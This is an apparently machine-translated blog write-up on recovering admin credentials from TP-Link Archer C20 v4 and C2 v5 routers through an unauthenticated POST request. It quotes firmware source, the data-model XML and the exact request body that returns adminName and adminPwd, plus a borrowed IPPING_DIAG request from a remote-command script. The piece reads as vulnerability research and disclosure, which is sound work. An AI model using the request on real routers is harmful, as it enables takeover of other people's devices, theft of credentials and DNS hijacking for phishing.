使用dns欺骗进行黑客入侵是一种相当普遍的攻击方法。 主要是因为它的简单性。 攻击的本质是将受害者的网络设置中的dns地址更改为攻击者的dns服务器的地址,以便返回假ip。 再者,谁在乎呢-从社交网络的普通网络钓鱼页面窃取密码到所谓的有付款要求的供应商存根。
所有这一切中最有趣的是,我想到了机器人以一种或另一种方式进入路由器的方式。 今天,我将讨论其中一种方法。
我们有什么:
- 全新的Archer c20v4路由器开箱即用,带有最新的官方固件。
- WAN接口上的外部IP地址并打开Web访问。
- 密码非常复杂,不必担心密码的选择和知道密码的人的限制。
- 一天之后:DNS欺骗和所有请求都包装在存根上。
您需要什么:
了解如何访问设备。
首先,针对一名测试患者,对在Google中发现的所有已知旧错误进行了测试。 当然,没有任何效果。
在github(
tyk )上找到了一个脚本,该脚本可让您从根目录远程执行C20i和C2模型上的命令。 一点不是我们需要的,但是要设定正确的方向。
所有功能的请求都具有相同的“外壳”-这些是针对url
/ cgi?2 (和7)的POST请求,“
[setup_name#0,0,0,0,0,0,0#0,0,0,0,0 ,0] ”和一个特殊的
引荐来源 。
从官方站点tp-link下载我们的固件的源代码并解压缩。 因为 路由器的线路是相同的,那么软件至少应该有点相似,对吧?
grepgrep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);
宾果 该文件的名称表明它将进一步变得非常有趣。 我们在代码中找到一行,其中看到了珍贵的“ cgi?2”。 以下是完整的功能:
doSetUsrName function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); }
该函数在执行时调用另一个-getUsrName()。
登录功能:
getUsrName function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); }
但是,只需执行登录操作即可。 我们对密码感兴趣。 我们知道登录名存储在USER_CFG对象内部的adminName变量中。 在源中进行搜索得到了以下结果:(我只留下想要的结果)
Grep输出 grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml
打开
reduce_data_model.xml,然后在其中找到以下代码片段:
XML格式 <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg>
在这里,我们存储了已知变量“ AdminName”,并在其旁边存储了AdminPwd。 听起来像是事实。
现在,我们只需要形成正确的POST请求,我们就需要用必要的数据响应路由器。 我们再次转到github上的脚本,看看它是如何完成的:
资料 data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" )
以此类推,我们形成我们的要求:
资料 "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n"
IIIiii发送。 在Wireshark中,程序包如下所示:
我们看一下答案:
细心的读者会注意到POST请求已发送到“ / cgi?1”,而不是脚本中的“ / cgi?2”。 没错 我们只需要找出密码。 收到授权数据后,您就可以进行统一的耻辱了。
登入:
并且我们已经被授权删除所有只被认为重要的数据,只需查看reduceed_data_model.xml文件即可:
目前,C20v4路由器的源代码已从Tp-Link网站上删除,而V5代码已发布。 但是很遗憾,还没有官方固件。
好消息:仅当每个人都可以访问Web时,才会利用此漏洞。
坏消息是:有人的机器人已经在以正确的请求敲响外部地址。
除了
ArcherC20V4模型之外,
ArcherC2V5模型也
受此漏洞影响
。